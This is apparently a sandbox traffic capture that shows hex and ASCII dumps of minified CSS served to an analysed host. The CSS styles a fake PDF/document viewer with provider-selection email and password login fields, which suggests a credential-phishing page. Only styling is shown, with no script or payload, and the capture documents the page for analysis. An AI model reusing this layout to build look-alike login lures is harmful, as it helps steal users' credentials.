2025-03-18 17:17:21 UTC	700	IN	Data Raw: 66 68 65 61 64 65 72 20 23 70 61 67 65 4e 61 6d 65 2c 2e 72 6f 77 2e 74 69 6c 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 61 63 74 69 76 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 68 6f 76 65 72 2c 69 6e 70 75 74 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 70 2c 2e 73 75 62 74 69 74 6c 65 2c 2e 74 65 78 74 2d 62 6f 64 79 2c 2e 74 65 78 74 2d 73 75 62 74 69 74 6c 65 2c 68 34 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2a 2c 2e 74 65 78 74 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 53 65 67 6f 65 20 55 49 22 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 52 6f 62 6f 74 6f 2c 45 62 72 69 6d 61 2c 22 4e 69 72 Data Ascii: fheader #pageName,.row.tile,.row.tile:not(.no-pick):active,.row.tile:not(.no-pick):hover,input{color:inherit}.p,.subtitle,.text-body,.text-subtitle,h4{font-weight:400}*,.text-title{font-family:"Segoe UI","Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nir
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: 33 32 33 62 0d 0a 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 2c 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 68 65 69 67 68 74 3a 31 30 30 76 68 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 61 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 61 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 62 Data Ascii: 323b}#sections_doc,#sections_godaddy,#sections_pdf{display:flex;flex-direction:column;height:100vh}#sections_doc a,#sections_pdf a{color:#fff;text-decoration:none!important}#sections_doc .pdfbackcontainer,#sections_pdf .pdfbackcontainer{position:fixed;b
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: 61 72 67 69 6e 3a 31 30 30 70 78 20 30 20 30 20 38 35 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 7b 63 6f 6c 6f 72 3a 6f 66 66 69 63 69 61 6c 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 69 64 74 68 3a 38 30 70 78 3b 68 65 69 67 68 74 3a 38 30 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 22 20 22 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 61 Data Ascii: argin:100px 0 0 85px;display:flex;justify-content:center;align-content:center}#sections_pdf .lds-spinner{color:official;display:inline-block;position:relative;width:80px;height:80px}#sections_pdf .lds-spinner div:after{content:" ";display:block;position:a
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: 64 28 31 31 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 30 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 31 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 31 32 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 33 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 30 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 23 6d 61 69 6e 4c 6f 61 64 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 Data Ascii: d(11){transform:rotate(300deg);animation-delay:-.1s}#sections_pdf .lds-spinner div:nth-child(12){transform:rotate(330deg);animation-delay:0s}#sections_pdf #mainLoader{position:absolute;margin:auto;height:100vh;width:100%;display:flex;justify-content:cente
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: 66 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 61 67 65 4e 61 6d 65 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 2e 70 72 6f 66 69 6c 65 4c 6f 67 6f 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 68 65 61 64 65 72 20 2e 70 72 6f 66 69 6c 65 4c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 31 30 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 77 Data Ascii: f .pdfheader #pageName:hover{color:#fff}#sections_doc .pdfheader .profileLogo,#sections_pdf .pdfheader .profileLogo{background-color:#fff;padding:6px 10px;color:#000;font-weight:700;cursor:pointer;text-decoration:none}#sections_pdf .login{position:fixed;w
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: 6c 65 63 74 50 72 6f 76 69 64 65 72 20 23 70 64 66 6c 6f 67 69 6e 6c 6f 67 6f 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 23 70 64 66 6c 6f 67 69 6e 6c 6f 67 6f 7b 6d 61 72 67 69 6e 3a 61 75 74 6f 20 61 75 74 6f 20 31 30 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 65 6d 61 69 6c 62 6c 6f 63 6b 2c 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 70 61 73 73 77 6f 72 64 62 6c 6f 63 6b 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 65 6d 61 69 6c 62 6c 6f 63 6b 2c 23 73 65 63 74 Data Ascii: lectProvider #pdfloginlogo,#sections_pdf .login .selectProvider #pdfloginlogo{margin:auto auto 10px}#sections_doc .login .selectProvider .emailblock,#sections_doc .login .selectProvider .passwordblock,#sections_pdf .login .selectProvider .emailblock,#sect
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: 65 6c 64 3e 69 6e 70 75 74 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 65 6d 61 69 6c 69 6e 70 75 74 66 69 65 6c 64 3e 69 6e 70 75 74 7b 77 69 64 74 68 3a 61 75 74 6f 3b 68 65 69 67 68 74 3a 33 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 30 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 28 32 35 35 20 32 35 35 20 32 35 35 29 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 65 6d 61 69 6c 69 6e 70 75 74 66 69 65 6c 64 3e 73 70 61 6e 2c 23 73 65 63 74 69 Data Ascii: eld>input,#sections_pdf .login .selectProvider .emailinputfield>input{width:auto;height:35px;font-size:18px;padding-left:10px;border-radius:5px;background-color:rgb(255 255 255);border:none}#sections_doc .login .selectProvider .emailinputfield>span,#secti
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: 35 35 20 32 35 35 20 32 35 35 29 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6f 70 74 73 3a 68 6f 76 65 72 2c 2e 62 61 63 6b 3a 68 6f 76 65 72 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 29 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 74 69 74 6c 65 2d 36 32 36 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 53 65 67 6f 65 20 55 49 22 2c 22 53 65 67 6f 65 20 55 49 20 57 65 62 20 28 57 65 73 74 20 45 75 72 6f 70 65 61 6e 29 22 2c 22 53 65 67 6f 65 20 55 49 22 2c 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 52 6f 62 6f 74 6f 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c Data Ascii: 55 255 255)}#sections .opts:hover,.back:hover,.row.tile:not(.no-pick):hover{background-color:rgba(0,0,0,.1)}#sections_doc .title-626{font-family:"Segoe UI","Segoe UI Web (West European)","Segoe UI",-apple-system,BlinkMacSystemFont,Roboto,"Helvetica Neue",
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: 61 64 65 6f 75 74 66 6f 72 6d 7b 66 72 6f 6d 7b 6f 70 61 63 69 74 79 3a 2e 34 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 75 6e 73 65 74 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 70 72 6f 67 72 65 73 73 44 6f 74 7b 30 25 2c 32 30 25 7b 6c 65 66 74 3a 30 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 73 65 2d 6f 75 74 3b 6f 70 61 63 69 74 79 3a 30 7d 32 35 25 2c 37 35 25 7b 6f 70 61 63 69 74 79 3a 31 7d 33 35 25 7b 6c 65 66 74 3a 34 35 25 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 6c 69 6e 65 61 72 7d 36 35 25 7b 6c 65 66 74 3a 36 30 25 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 Data Ascii: adeoutform{from{opacity:.4;pointer-events:none}to{opacity:1;pointer-events:unset}}@keyframes progressDot{0%,20%{left:0;animation-timing-function:ease-out;opacity:0}25%,75%{opacity:1}35%{left:45%;animation-timing-function:linear}65%{left:60%;animation-timi